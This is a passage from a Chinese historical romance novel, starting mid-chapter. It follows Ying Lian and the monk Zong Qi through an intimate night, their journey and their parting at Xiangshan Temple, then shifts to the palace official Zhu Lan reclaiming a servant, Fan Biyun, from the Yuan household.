半时辰。道中初晴的尘泥，是她一路踏足；幌帘招摇如柳，在她眼里渐行渐进，直待近了人家，她终悟了其中一点，“无所求，便无所进。鸟兽鱼虫无所求，高人隐士亦无所求。但我在高人隐士之下，又比鸟兽鱼虫高几分，不高不低的，求便求吧。至少我让那妇人与她的女儿，往后一段日子里好过了一些。” “这就是了。你做到了你所及之事，这便够了。”宗契笑了，“若非你行善，恐怕我也活不下来。” 村店里没什么好物，不过山水人家常供的鱼米雉雀、莼菰菘韭等等，宗契买了些吃食，又教店家炙了一尾鲜鱼。自也没应怜爱的芥辣作酱，只能求些野蜜了。 好在脆甜酥香的炙鱼也别有一番滋味，店家殷勤备至，又洗净一支老姜切了碎末，供应怜蘸来佐鱼。 用罢了，二人又带了些归家，以做晚食。一路上仍沿原路而返，宗契忽想到一事，便来问：“你既钓上了鱼，我便应你一事。是什么？” 应怜先前与他赌赛，本来已忘了，教他一提醒，想了想，有些脸红，见道旁附近无人，支支吾吾：“我胡想的，算了。” “胡想？”宗契不解。 他含笑发怔的模样有些憨直，瞧得应怜又有些心痒，走出一段，在他身侧小声道：“本来是想要亲香一个。” 日头偏西，扑朔的暖意晒得他脸上发热，仍答她的话，“……已做了。” “嗯，做了的就不算。”应怜瞧他一眼，又扭过脸去。 又走了一段。 “那换一个？”应怜扭回头。 “嗯？” 她面颊染玫瑰色泽，眸儿里晶亮，宗契细瞧时，里头盛着几分促狭的笑。 她附耳过来，悄声言语了一句。 宗契轰得通红了脸和脖子，想也不想，“莫闹，不行。” 他推开应怜过近的脸，掌心里沾了一片羊脂般柔腻的触感。 应怜撅起了嘴，瞧他羞恼，自己就不急了，哼了几声，“我本已忘了的，又是你撩起来；我说了，你又恼。好好好，我是登徒子，行了吧！” 她别了脸不理睬他。宗契转到她眼前，她抖开一片苇箔，刷拉挡住了脸和半副身子。 宗契无法，脸上一片火辣辣的热意退不去，低眉顺眼地哄：“不是我不肯，你是个女儿家，怎好……” 苇箔编散的间隙里，露出两颗乌如墨、明如玉的眸子，眨了眨，长长的眼睫便蝶儿似的颤了颤，含着些半真半假的怒，“你这野僧，晓得我是个女儿家，却还每日里歪缠我厮混！” 宗契便一句话也说不出了。 应怜也不是真恼，自忖不过玩笑，只是宗契心直，见她不语，倒仿佛他理亏似的，直到日色下了，煮茶、收拾衣衫、安置晚食，把她像个菩萨供在龛里，妥妥帖帖。饭毕，应怜嚼一片姜消食，瞧他忙里忙外，得了空竟还续编上了那苇箔，虽不如已编得的那般细密，到底锁紧了边，又将散着淡淡青草湿气的整幅苇箔挂在门墙上，动作利索稳当。 应怜正想那马车里狭窄，以他宽长身量，睡在里头恐怕腿脚蜷缩不开，不若便换一换他睡榻、自个儿睡马车里，却听宗契道了句：“我出去一趟，有事你便高声喊我。” 她散漫地答应一声，拿茶漱口，才见外头天色已沉沉地黑了，但见近处一片河水，却瞧不清远山连绵。 有她在侧，宗契每日里下榻前，都得附近巡查一番，得个安心，今日也如此，不见她更多叮嘱，便取了角落里摆靠的镔铁棍，同往常一般出了去。 应怜推开窗，临着河，歪头望他一路行去，拐了个弯，身影便隐没在一片青幽幽的苇丛后了，连渐升上来的半轮月也照不见他身形。 她便落了窗儿，粗毛竹横栓了门，把自己守在竹屋里，等他回来。 过了二三刻，有沉稳的步履行来，是宗契怕她害怕疑为歹人，刻意放重的脚步声。今日他又慢了些，一步步上了竹屋，停在门前，扣了扣，“是我。” 应怜忙来开门。 天已黑透，月色却清明，透过竹木的窗隙，丝丝漏来。她放宗契进屋，隐约闻到自他身上传来的一二分清新的潮意，以为是春夜水气空濛，沾了僧衣。 宗契入得屋来，直着身子，便将她身前月光占了大半，愈发显得竹屋里逼仄。他转身关门，依旧横了竹栓。应怜觉着太暗，便去推开了半爿小窗。一霎时，泓明的月色水一样淌进来，沾了人与物一身。 他立在屋里不动，木柱子似的，只是目光跟着她走，半晌低声道：“……你别恼。” 应怜才反应过来，噗嗤一声，想说先前不过闹着玩儿，回头瞧见他忐忑沉默的眉宇，仿佛含了什么古怪的决心，又羞于与她启齿，便又一声不响地近前几步，任明月清光映出魁硕身形，白腻的糖霜一般，倾落在他头脸上。 “嗯？”她不解。 月色下瞧不出他是否脸红，只是手搭在腰带上，那长绦与衣衫一色瓦灰，不细看瞧不真切。他微微一扯，解了腰带，宽大直裰便松散开来。 月霜皎皎，泻了他铜色胸膛一身，肌肉遒劲鼓壮，蓄发着蓬勃的力量与热意，幽微潮湿的气息一瞬勃发，浸透她周身。 三四月春暖宜人，他一身直裰，里头仅着长裤，丝毫不觉夜凉。 应怜觉着自己心跳都窒了窒，屏住了呼吸，愣愣地瞧他，热意被感知，直窜她天灵盖。 宗契手握着绦带，似乎迟疑下一步如何，见她眼神直勾勾的，便好似在油里煎的鱼一般，动也不是、不动也不是。 分明是春夜，却热得仿佛又闷又潮的夏，每个毛孔着了火似的，背上已有了难忍的汗意。他愈发在她的目光下难以自处，索性蒙住她眼，将绦子在她脑后一系，牵过手，带着她来到榻边。 “我……应你，还不成么。”他无奈至极，嗓音又低又哑，字字敲在她耳膜。 应怜着了魔似的，直到眼中一暗，才回过神来，深一脚浅一脚地随着他，差点被绊住，倒在他身上，既心虚又有一种失控的欢喜，不满地抱怨：“你蒙了我的眼，我什么也瞧不着！” 只有她自己晓得，这抱怨有多口不应心。 她嘴角克制不住的笑意，被他清清楚楚地瞧在眼里。宗契有种自己把自己架在火上烤的尴尬难耐，咳了咳，尽力平稳声调，“不能瞧，会害眼病。” 他盘腿在榻，捉着她的手，带着一点点下移。那只小巧又温软的手却不听话，指尖一舒，在他腹上划了下去，力道如鸿毛，却烫得他浑身肌肉一紧。 应怜任他领着，在他身前笑得花枝乱颤，只是一双眼瞧不见，因此宗契任她取笑，隔着衣料，将她手按下去。 她便不笑了，手一抖，微微的一声惊呼从喉间低低溢出来，笑意再遮盖不住害羞，又十分地好奇，惊异地捏 了捏，“硬的。你平日里放哪？” 宗契“嘶”了一声，声音哑得不像话，“轻点。” 她神情惊奇，想起青玉阁的那些屏纱绢画，有些模糊的轮廓，却到底不能尽懂，耳畔听着他压抑不住的粗热的呼吸，自己也跟着热了起来。 片刻，她更诧异：“变大了……你……” 宗契捂住了她的嘴，任她泄出几个表达不满地音节。 一片黑暗之中，他喑哑着嗓子，她几乎可以想见那双再英气不过的眉峰是难抑地拧起的。 “平常是软的，有了欲时才如此。” 那轮廓清晰且有一抹难以忽视的滚烫。应怜又有了一点领悟，唇角翘了起来，另一只手按在了他急乱心跳的胸膛上，听了一会。 “这是欲。”她指尖描了描那形状，又点点他的心，“这是情。” 宗契此时约摸再没有更窘迫的事了。她的羞与爱也如夜间水泊上弥漫的雾气，渐渐涨满起来，不再轻薄，撤了手，在他肩臂上，摸索着凑过去。 他一把接住她，在怀中渡了一个绵长的吻。 那物件的存在感不可忽视。应怜动了动，促狭心上来，又想调笑。宗契即刻心有所感，将她按住不得脱，亲了亲她被布带遮覆的眼眸，笑意随之而来，“是软肋。凭他武艺高强、铜头铁臂，你只踢他这处，他便束手就擒。” “当真？”应怜将信将疑。 “当真。”他道，“女子若被欺，以此自保，百试百灵。” 应怜笑起来，又笑倒在他身上。她拉下眼上布条，瞧见了月下他含着欲与情的面庞，眼中有对她的爱恋与痴迷。 一股奇异的怜爱从心头升起，她扪清自己内心，有些惊诧，又有些欢喜：我怜爱他。 于是她又捧着他的面颊，细细密密地亲吻了一遍，从额头、到眼角、到鼻梁，最后在唇上轻轻地咬了一记，带着一颗同样跳得又急又乱的心，下了榻，胡扯了个由头，“屋顶有些漏，昨夜雨落进来，被褥都湿了。我要睡马车里，你睡榻吧。” 宗契草草系回了腰带，闻言在几处床褥上摸索了一遍，“湿么？我换床褥子来。” 他便要起身去拿马车里自个儿的。应怜把他按下去，不由分说，趿了鞋便向外走，“算啦，明晨就走了，你凑合睡一夜。” 宗契向来顺她的心意，见她坚决，便不再执意，望她进了马车。他四面将车辕与竹屋的木柱又系牢了几分，仍不放心，索性将竹榻拖来门前，就这么敞着门，镔铁棍靠在身边，盯着马车，慢慢阖了眼。 一夜月明如水，鸦栖人静，水泊雾气氤氲，升腾弥漫，萦绕梦魂之中。 第113章 第113章行行复行行，离人长将…… 转过天来，到了清明，二人将早买得的纸钱花果遥祭了一祭先人，收拾了铺褥器皿，归在马车里；又饮了一回马，踏着蔚蔚蒸蒸的朝霞，动身上路。 三月，杨花缭乱如素雪。 杨花沾在驱车的宗契短衫上、沾在梳洗得柔顺的马鬃上，又沾上了正掀帘观澹荡晴光的应怜发鬓间。 “杨花入水，次月化浮萍。”她道，拂去宗契肩头的杨絮，“那么这些未入水的，又会变作什么？” 宗契反问，“你晓得这是胡说的吧？杨花根本变不成浮萍。” 应怜与他争辩，“变得成的，是我家女使亲眼得见。她们轮流守着小池值夜呢。” 宗契道那是女使偷奸耍滑，逢迎她而已。 应怜总不信。从此车中多了一瓯清水，内里浸三月的杨花，直浸到四月。 四月，子规啼在春山里。 幽幽清鸣，车马行过山野。宗契勒马，遥指前方，“瞧！” 野无人迹，车帘早被卷起，应怜怏怏地晃荡铜瓯里残水，妄图杨花化萍的念头成了死灰，闷闷不乐地撩眼皮向他指点处望。 “呀！”她惊喜起来，郁闷一扫而空。 满坡满野炽烈的红，彷佛金乌栖处，他们行到了日落天尽头。 “是杜鹃花。”宗契道，“还有个诨名，唤作映山红。” 应怜扔了瓯，满眼里是染了望帝血的杜鹃，转头见宗契舒朗眉眼，眼中盛的是她与花红。 “想要？”他问。 她想了想，摇摇头，“望帝死后化作杜鹃，啼血染红此花，因此也称杜鹃。我还是莫去簪它了。” 宗契瞥一眼那瓯，“只是我没法把那望帝捉来，否则咱们也瞧瞧他能否化只雀儿。” 他浓深的眉眼里噙着笑，应怜才回悟他是在笑话自己，恼得去戳他脑门，却惊了那马，前走几步，抖了一抖。车身一颠荡，没防备下，应怜踏足不稳，狼狈扑了下去。 正被他一舒长臂，捞在了怀里，心悸之余，又向他嫣然一笑。 宗契眸中花红褪尽，填满的是她的倒影。他不语，俯首亲吻下来，手按在她脑后，逐渐炙烈肆意，烫得她眼睫沾了溢出的细泪，在一片迷眩的心神里，又见了那杜鹃灿灿漫野的红。 五月，桃李梅杏莘莘忙。 “停——”应怜将探出侧窗的脑袋收回来。 宗契住了马，四望一条野蹊青草依稀，也无人家也无城，回头瞧向她。 应怜扶着他手臂跳下车，道了声“等等”，欢快向后头奔去，丛草里踩出一条浅浅的足迹来。 顺着她的方向望去，宗契便望见了道旁一株茏葱碧翠的树，并不大高，累累结着青红硕果，压弯了枝条，颇惹人喜爱。 是李子。 苛政日重，兵祸盗匪又连年，许多乡里村舍早已败坏零落，凄凄古道，徒生长着硕硕桃李，却无人来羡，更无人采摘。 应怜得以挑了一长枝，串着一串向阳的红映映的李子，得意地向他招摇，“约摸是无人晓得此处有一株这样好的李树，倒便宜了咱们。” 她掐了颗最大最红的李子，擦净了，想要吃，却又想到道旁苦李的故事有些道理，转了念头，抿着笑，与宗契很亲热地挨在一处。 “你一路赶车辛苦，便吃这最好的一颗吧。”她将李子抵到他唇边。 宗契挑眉，目有笑意，洞明她小心思，却也不言，受用了她玉指红李美人面。 应怜巴巴地瞧他，“酸……甜吗？” 宗契将果子吃了，吐出核儿来，“甜。” 他神情自然舒展，应怜便放下了心，又采一颗，在他注视下啃上去，险些酸倒了牙，皱着脸气愤愤连皮带肉吐了。 扭脸见宗契一边漱口一边笑，晚春的晴光洒在眉峰鼻梁上，熠熠生着光彩。 应怜眼眉仍带着恼，拔开水囊喝水，余光却住在他挺拔如山巅青松的轮廓上。他若有所觉，行囊食匣子里翻出一小块蜂糖糕，塞进她口中。 酸苦后又生了甘甜。她在清甜滋味里，尝到了他甘醇的心意。 六月，莲叶翠底有鸳鸯。 正夏时分，即便卷起车帘，马车里仍十分闷热。牙道上行人既零星，应怜便不爱闷在车里，时常坐上车辕，在他近旁扇着香风。 离洛京已不算太远，时常可见墅宅田庄，收拾得齐整盎然，与曾所见的荒败破屋景象截然不同。 行径一池莲田时，正是莲叶青碧如盖，垂连数顷，风送荷香。 应怜手搭凉棚，就这么火辣辣地晒着日头，却贪看莲塘风光，指点他赏那硕大的莲花莲蓬。 宗契三分瞧莲，七分瞧她，跟着下了马车，朝莲田而去。 便也跟着下车，“做什么？” 话音才毕，鼻端一香，艳阳被一片碧翠遮覆。 宗契折一枝浑圆厚绿的荷叶，盖在了她脑瓜顶上。 应怜笑着将荷叶摘下，擒着伞盖，与他凑着一双脑袋在叶下，“这莲田必是人家栽的，你怎好攀折？” “皮娇肉嫩的，别给晒化了。”他心情好来，远望莲田对面主人家严整阔气的院墙，念了声佛号，“小僧犯了偷盗之罪，下回再还了钱财与那朱门人家吧。” 话说着，碧波塘里游来一串粗噶的禽鸣。宗契回身去栓马，应怜独个撑着荷伞，半臂襦裙鹅黄绦，再漂亮不过的磨喝乐似的，低头好奇地去瞧那禽鸟。 “是鹅！”她睁大眼，欣喜地望那几只嘎嘎叫着来迎自己的雪白大鹅，心驰神往，“这是王右军最爱的珍禽呢！你可晓得，他手书精妙，昂扬姿态正如……” 宗契顾不得栓马，叫道：“快回来！” 娴雅可爱的磨喝乐荷伞下回过头，目露疑惑，莫名不解。 那鹅四五只上了岸，拢翅伸颈，姿态昂扬地冲向她，一口啄在纤细的脚踝上。 应怜花容失色，揪着荷茎，大叫着扑腾，堪堪斗出了王右军手书的矫健。幸得宗契及时赶到，拎着鹅颈，一只只扔回了水里。嘎嘎乱响，莲底深处一片狼藉。 那头里惊动了护院的庄丁，气势汹汹地遥遥打来。 宗契搀扶应怜，往车里一送，也不栓马了，一抽鞭子，飞驰离去，徒留那一群庄丁与白鹅面面相觑、聒噪相骂。 一刻后—— 应怜发松裙污，车里狼狈地褪下鞋袜，揉足踝上一片红痕。 “伤着了么？”外头他问。 “没。”她气恼地拔下一根根沾 上衣裙的鹅毛，“万幸万幸，若是留疤了……” “王右军手书，必也好看的。”他接话。 “……” 六月十七，荼蘼尽矣，蔷薇红盛。山水迢迢，他们终于近了京畿。 宗契入不得洛京，便只在十里外送她归去，早做了打算。 “城南香山上有一座香山寺，我家自来只请他们做门僧，年节也都不失香油供奉，上下僧众多为相熟。我便教个小沙弥入城报信，省得只身归家，为人非议。”应怜与他计议，“我家宅园早先被查封，如今也不知什么光景，从前老仆们是否有放回的……” 她说到此处便停了住，缄默不语。 宗契猜想得她是念起了亲人，二三年笼统风波，再有多少被放归的人，总没有了父母与兄长。这一家一户，唯独只剩了她一人。 他也再不能相从，与她排遣忧闷，只得缓缓行车，到得山下放马处，停了住，将她接下车，陪她最后一程。 香山寺一向有香火，正门前车马不绝。为避闲人耳目，应怜绕至后山，与他捡小路拾级而上。 山岭长巍，苍苍绵亘，蜿蜒小道上石阶古旧。二人并肩上山，宗契侧头望她，却只瞧见飘曳的帷帽纱帘，如山间濛濛白雾，遮挡在他与她之间。 应怜春霞朝云般的脸便在雾白的纱后，似乎也在瞧他，那一双眼眸沉静似月，有了些脉脉的情愫浮沉。 石阶一层一层，山路周而复始。宗契忽然忆起，从前仿佛也与她这样走过，也是晴光斑斓，洒落一地。那时他以为山路尽处，便是与她短暂缘分尽处，却不想才是一段相始。 这一回，到得山路尽头，也不过是一场短暂的别离而已。 他仰头，隐隐望见婆娑枝叶边缘镀射的日光，耀人眼目之中，现了山寺飞檐的一角；铜铃摇动，耳畔传来的却是浓荫里鸟鸣清幽。 走走歇歇，上得山寺。 宗契上前扣门。不大一会，便有缁衣僧开门，正欲询问，却一眼见旁立的应怜，有些迟疑。 应怜取下帷帽，拭了拭额角细密汗珠。那僧人盯着她，顾不得失礼，辨认了半晌，合掌大惊，“应施主？” “是我。”她微笑道。 僧人不住地念阿弥陀佛，望天而拜，急请他二人入内，见了正内殿里参禅的住持，一时间纷忙迭至。 应怜便道了来意，住持自然无有不允，当下唤来个伶俐的弟子，去到城中应氏旧宅探看报信，因着她家早先的遭遇，又叹息了一回。 应怜是女客，住持不便久陪，便唤来个龆龄的小沙弥，教听候吩咐；自己告了失陪，转去前头宝殿了。 那小沙弥剃得圆溜溜的脑袋，行止学了些规矩，却藏不住幼童的天性，叽叽呱呱地缠着宗契说话，口口声声唤他“师兄”。 应怜瞧着发笑，便问：“你那时也似这般？” 宗契眉峰舒展，想了片刻，有些出神，“那倒不是。” 二人转过寺僧的寮房，四面走了一走，寻个僻静开阔的地儿坐下，望云天寥廓。应怜好奇，“那你是个什么样儿？” “闷葫芦一个。”他一面回忆，一面道，“头几年才上山时，总想着爹娘家事，心里烦得很，见谁都不说话。师父便教我每日擦半个时辰的弥勒金身。我日日独自擦那佛像，瞧见弥勒慈悲常笑，一来二去，心里熟了，便将心事说与他听。他也不动，只是笑。” “他若动了，那才可怖呢！”小沙弥插嘴。 宗契敲了敲他溜圆的脑袋。 “……擦了十来年，照看得佛像精光圆滑。一日浴佛，师父将弥勒抬在大殿，湛湛金光，受人膜拜。我见他大肚笑口，听世人多少坎坷过往，却只许一片光明未来，忽有所悟。虽说不出悟着什么，却实在慢慢地将前事放下了。” 应怜静静地听着。 山风漏过苍朴古树浓荫，扑朔朔送将来，拂在他一身浩荡身躯上，展平他眉目，吹送了隐约一点笑意。 “我也有一尊佛。”她见岚光与流云，见了他，道。 他于她身侧瞧来。 可应怜便不再说下去，将那佛看在眼里，藏在心里，向他而笑。 日午便在香山寺用了斋饭，饭毕，又等候了一时，到得晌午，那小沙弥忽来道：“山下来了多多的车马，有人上山，道是来迎应施主！” 应怜蓦地抬眸，半晌默然。 宗契道：“想是你家人来接，你去吧。” “你就走么？”她问。 他“嗯”一声。 二人起身。宗契依旧从后门下山。应怜道：“我送你几步。” 宗契失笑，“送君千里，终有一别。” 也不知说的是谁送谁。 只是笑过了，又归于寂寥，彼此无言，转到寺口山路，应怜望他下山。 溽夏繁荫，婆娑树影，镂在他宽展的直裰上，斑斑缕缕拂之不去。他眉目间也落下了光影，最后一眼沉默望来，像是要将她生生烙在心底，打上永世不忘的记号。 应怜定定地立在石阶尽头，眼也不眨地盯着他，仿佛一眨眼他便散了。 “去吧。”他宽沉的声音含着安抚。 她张了张口，却难以发出什么话，一切画面随着他转身、一步一步地沉沉离去而苍白失色。 两年前，与他初识，相送一场，她也如此目送他去。 一切一切，周而复始，她仿佛又回到了当初。 不，不一样。 她望着他高大的背影，忽记起来一事，提着衣裙、三步并作两步，奔下石阶，“宗契！” 下山的路不平，他陡然回过头来，怕她一脚踩空又摔着，忙伸出手，迎了上去。 她唤着他的名字，急促而激动地奔来，十几步石阶前，一把被他接住，扑在暖热的怀里。 “当心些！”宗契稳稳揽住了他。 应怜白玉的面颊红了起来，目光如月皎皎，乍破了暗涌的乌云，顾不得才立稳身，手忙脚乱地从怀里摸出个物件，塞在他手里。 “这个给你！”她急急地开口。 他低下头去瞧，微微怔住：手心里躺着一只勾了银丝骨的青纱闹蛾，两只翼翅轻薄，在一点漏下的阳光里颤动欲飞。 他下意识合拢掌心，将蛾儿锁在掌中，半晌，心中不知什么滋味，“你一直带着？” 她脸颊微红，眼眶也有些红红的，却笑了笑，点点头，在他怀中的心跳仍清晰鼓噪。 “我等着你，”她按捺下喉头哽咽，想临别时在他眼中仍娴静美丽，而不要像从前那样，回回哭得花了脸，努力平复心情，道，“若是……若是……无论怎样，你一定好好的，哪怕不能来，我便去寻你！” 宗契虚拢着闹蛾，抚着她鬓发、眉眼、脸颊，最终忍不住，在她唇上印下一吻。 “好。”他一声应。 应怜眼中酸涩，从他怀里挣出来，最后望向一眼，再不流连，转身落落归去，身形挺秀，肩头却伶仃。 那只蛾儿从他掌心里翩翩飞去。 宗契最终望不见她的绰约的身影，轻轻又轻地将闹蛾藏在怀中。来路依稀，他只身离山。 第114章 第114章偏是宿怨来相对，醉眼…… 她走在宫禁的廊苑中时，宫人们各自停下手中活计，敛容垂首，口称“娘子”，避让在一边。 过嫔御殿芜时，有眼尖的小宫人遥遥见着，一溜烟回身，几息之后再扬着笑脸出来，与她作礼，“祝娘子奔走辛苦，咱们小娘娘教问：早食可曾用了？若不曾用，便来吃些茶点？” “不了，我有事出去一趟。”她步子只顿一顿，又往前去，“代我谢过小娘娘。” 宫人们艳羡尊崇的目光中，她携几个与有荣焉的女史出内宫门。閤门内吏望见，便堆起笑容，收了出宫的腰牌，放外宫行走的牌子，磕绊也无，亲亲热热地送出一程，这才回转。 外宫门的阍人也如此，收换了腰牌，更道一声：“娘子好走！” 她点点头，在女史的搀扶下，登一辆翠羽香檀的安车，檐角琉璃夺人眼目，金玉铃铛、孔雀翎羽纷纷四垂。响铃清越声 里，驷马鸣嘶，启程而去。 祝兰坐在御赐的安车里，轻缓的声儿道：“去元相家中。” 御者难得犹疑了一下：“是那将要致仕的元相？” “怎么，你也闻听了？”祝兰笑了一声。 安车便缓而稳地行驶起来，沿御道走过内城门。御者道：“谁不晓得呢？他家三郎前些时日吃醉酒纵马撞伤了行人，苦主告去府尹，很是闹了一阵子呢。” “此案已交大理寺了。”祝兰道。 御者吓了一跳，“不过撞伤了人，又是元家的郎君，也这般阵仗？大理寺那帮人可不是吃素的。” “天子犯法，与庶民同罪，何况一纨绔子。”她不以为意，不再纠扯这话题，玩笑道，“因此你得勒稳了缰绳，若也撞了人，便自去大理寺告首吧。” 非止御者，连随车而行的女史们俱都掩唇而笑。 安车轻轻松松，一路御道而行，半个时辰，便到了元家的乌头门。 门前依旧气象严整，四个门人立定守着，衣着光鲜崭新，驱赶驻足布衣，勒索投帖家人，并笑脸迎那贵客。 安车车驾一至，四面孔雀翎流光溢彩，晃花了人眼。门前人忙恭迎上来，噤若寒蝉，听候吩咐。 女史上前，告明身份，无需二话，两个门人便慌不迭地入内告禀，另两个牵马坠蹬，恭请贵人下车。 祝兰踩在铺了锦绣的杌凳上，由女史搀扶着，端然下了车。此时过了乌头门，元家紫檀旧匾下中门大开，红毡铺道，不多会，家中男子、女眷俱来相迎。元相因去了宫邸官署，并不在家，主母刘氏便亲持迎迓，又告急切失礼之罪。 祝兰倒安之若素，并不怎么摆官家眼前红人的架子，望向郎君之中的第四子，道：“我此次前来，是为寻你家四郎，可否借一步说话？” 四郎元羲，向来与后宫无甚联系。刘氏疑惑且有几分不安，仍摆上了笑脸，诺诺应下，当即唤元羲作陪。 外人退去，元羲引祝兰入了自己的院子。祝兰一面走着，一双清明妙目不动声色观量四面，见院落里奴仆女使，皆屏息肃然，垂头而立，很有大家的规矩。 廊下小僮入正厅奉茶，依着贵客的吩咐，便将门敞了，静悄悄依旧侍立屋外廊下。还未听得里头动静，却见自外匆匆进来一人。溽夏晨日升起，他脑门上便热出了细细的汗珠，一面掏出帕子囫囵地擦，转过院门，先一眼见外头两三个端庄曼妙的女史，愣了一愣，眼尖地认出腰牌，便趋步而来，极灵巧地向那几位行了个礼。 “小子是四郎家人，见过女史姐姐。”他一笑起来，和善又伶俐。 里头传来元羲的声音，“进来。” 元平跨进门槛，依样与主客作了礼，冲元羲点头，意有所指，“来了，才入城。” 元羲目光一凝，隽秀的面上绽开一缕笑，极是丰神俊朗，竟湛湛然使人无法逼视，那喜色却只一闪而过。他望向对座的祝兰。 祝兰虽无笑，一双眼目中噙的却是柔和。她常行走后宫，清淡眉目之下，总有一份孤傲，甚少露这样神色。 “是谁来了？”她问。 这是元羲的私事，凭她问来，总有些突兀。 元羲稍一怔，抚平那一点笑意，语焉不详地答道：“是臣的……一位朋友，近日来到洛京，本待要去见一见。” 她见他神情里添了一分迫切，便不追问，单刀直入，“我来，是向你讨要个人。” “何人？”元羲不解。 “范碧云。”祝兰微微一笑，任凭他诧异犹疑的目光扫量，“她未必会同你讲明我们的关系；甚或……她以为我早已死了。但无妨，我听闻她在你处，你可肯割爱？” 元羲迟疑片刻，“她不是卖在我家的奴仆。去留与否，我唤她来，当面与你分说吧。” 说着，吩咐元平将人唤来。 院中并没有范碧云的身影。她被指使去花匠处寻一盆蕙花，花匠今晨起却又不在，她瞎踅摸了二三回，寻回一株开得硕大芬芳的，回来却被耻笑为不识花，只因拿的是一茎一华的兰，并非一茎九华的蕙。 这时节元平将人找着，急匆匆带入院。范碧云心里忐忑，问：“那前来的女官娘子姓甚名谁？当真唤出我名姓？” 元平领着她，道：“我两只耳朵听得真真的，哪里会有错？你也曾长大在洛京，此地难道没有三两个显达了的亲戚？或是她记得你，要带你去那帝王乡，到那时你可别忘了我家提携你的好……” 他越说越有些酸溜溜的，心下又怅惘了一回。哪想到风水轮流转，如今他家眼见着势衰力竭，就要树倒猢狲散；这小小的丫头竟能得贵人惦记，一脚蹬他们在足下，直入青云？ 范碧云却不语。 只有她自己清楚，哪来什么显贵的亲戚？若有，她还至于被她娘卖了做生计？ “哦，对了，那位女官姓祝，据说是官家潜邸时的旧人，如今恩宠加身，连中宫娘娘也要礼遇三分的。”元平又道。 范碧云先是心头一跳，而后安下心来。 祝姓不常见，但既是潜邸之人，那便不是她所识得的那一个了。 况且…… 她心中暗嘲笑自己愈发鼠胆，跟着元平进院子，鼓足了勇气，低头进屋。 屋里原有说话声，他们进来时，便停住了。范碧云低垂着头颈，感到仿佛有视线逡巡在她身上。 那是那座皇宫禁院里出来的人，是官家的圣宠、云端里下来的仙娥，贵不可言。若自己真有那造化，得她一言襄助，那便能直上青云。到那时，非但连日来纠缠自己的烦心事可烟消云散，她也更不必因自己的心意动摇而有负罪感。 元羲，元羲。 元羲再好，哪能抵得过宫苑里的凤翥龙翔？ “娘子瞧瞧，是否是这一女子？”元羲的声音依旧瑰采华章，但渐渐已不能拨动她心弦。 贵人淡淡地“嗯”了一声。 是个年轻的娘子。范碧云心中暗暗描摹那一声，想象她因圣赐的宝簪玉梳而愈加华美；她必定梳着高鬟云鬓，婵娟一般静美。裙裾的宫纱翩跹，她目光略向上移了三分，不大清楚地瞧见裥裙之间隐现的琅玕环佩，连系佩的宫绦也如水波稠丽。 “抬起头来。”女官又道。 范碧云不敢不抬头，却心中不由得咯噔一下，那股被压下的惶惑成团膨胀起来，盖过了所有对华美宫禁的联翩浮想。 这声音好熟悉。 她斗胆抬起眼皮，将目光一扫，望见了个清雅娴淑、却乍然使人魂丧胆裂的剪影。 蓦地一下，范碧云好比三十三层云霄一脚踏空，堕入深渊玄冰的窟窿里，骇然不知身所处，牙关不住地打起寒颤来，眼却被钩子勾住似的，死死定在了女官的脸上。 姓祝的女官笑了，大度而温柔，“怎么，不记得我了？还是说，你不愿见我？” 范碧云周身发冷，目光恍惚，神色空白；一刹那后，双膝发软，噗通跪倒 在地。 元羲乖觉地想要带着元平出屋，给她们留独自说话的机会，却被祝兰叫住，“不，不必走。我与她没什么阴私的事——是不是，泰娘？” “是……”范碧云心胆快要吓裂了，满脑子尽是扬州、马车与歹人，“……是，娘子。” 祝兰叹息了一声。 “你起来，并未有过错，又为何下跪？”她道，“若非你，我又怎能兜兜转转，侍奉在官家身侧？说起来我还得谢你。” 一旁的女史上前将范碧云搀扶起。范碧云抖衣而战，彻底消了那点做神仙的心思，蔫头耷拉脑，以待听训。 没料祝兰却未训责一句，只道：“夫妻大难临头，都还各自离分，何况你我？你不经事，有难当头先我而去，这是你的本性。如今我再问你，可愿随我左右？” 范碧云下意识要说不，却对上了女史们的眼神。她们各个审视、核量着她，仿佛要看穿她身上究竟有什么独到之处，能引得女官祝娘子青睐。 也不知是由于惊惧、惊诧，或是那没根底的一丝丝惊喜，范碧云糊里糊涂，咽下了那一声回绝，半晌没个头绪，忽然想哭，红着眼含糊问了句：“娘子不怨我？我……我卑劣自私……” 祝兰道：“从前是怨的。” 范碧云的目光穿过泪眼，模糊地望来，望见果然戴了宝簪玉梳的祝女官，脸庞白皙、眉眼秀丽，除了隐隐的那一点羸弱不足，通身是一派贵气天成的模样，丝毫不见往昔被禁在夫家、形容枯槁的疯癫。 她不知她是怎样逃脱、又如何辗转上了云霄，只心中盘旋着她的话：从前是怨的。 ——如今看淡了，不怨了。 也是，她如今身在锦绣天家，早该看淡从前那点不顺遂。况且若换任何一人，处在自己那样的处境，难道能比她做得更好？ 她不曾想为自己开脱，只是经祝兰一提，没由来的委屈一股脑袭上了心头。范碧云呜呜咽咽地哭了起来，直哭得面红耳赤，也不知是怕是羞是喜。 祝兰再问：“你可愿随我左右？” “愿、愿的！”范碧云不敢瞧元羲，抽泣着点头。 祝兰便从从容容地笑了。 “行了，我宫禁里行走，不得自由。她既跟我去，我便忝颜向你要人了。”祝兰呷了口香茶，站起身，向着元羲，“也不耽误你正事，不必送了，替我向你……朋友问好。” 元羲颔首，“娘子好走。” 祝兰略望望身后，女史们鱼贯随她出屋。范碧云麻利地跟了上去，出在院门口，脚步顿了顿，匆促回身，向元羲施了个礼，权表收留的谢意，便低头而去了。 元平皱着眉，驻足在院口，待人入穿堂了，这才道：“就这么一声不吭地走了？枉咱们家待她不薄，平日里她口口声声要报答郎君的恩情；如今家中落难，她倒好，尥蹶子就跑了，真真攀高踩低的小……” 元羲扫了他一眼，将元平一肚子骂人的怨气憋回了肚里。 二人又马不停蹄地准备出门，半途却被母亲刘氏截去，先埋怨了几句，道怎么就任祝女官走了，她如今是宫里红得发紫的人物，好歹得摆开一场筵席，款待了再恭敬送回；又连声追问那祝氏是否与他相识，否则寻个奴婢而已，何用亲跑一趟。 元羲只答没有。 刘氏将信将疑，又留了元平私下质问。元平低眉顺眼，答得只字不漏，坚定地说没有。 刘氏这才放去了，唉声叹气地埋怨三郎吃酒纵马，埋怨御史小题大做，又埋怨丈夫吃错了药、想不开非要上表致仕，闹得家里仆从遣散了大半。 元羲听不着这些话，早急急地出门，吩咐牵最快的马来。 下人面面相觑，大着胆子劝：“四郎可莫要学三郎，要那快马做什么？城里人多又跑不开。” 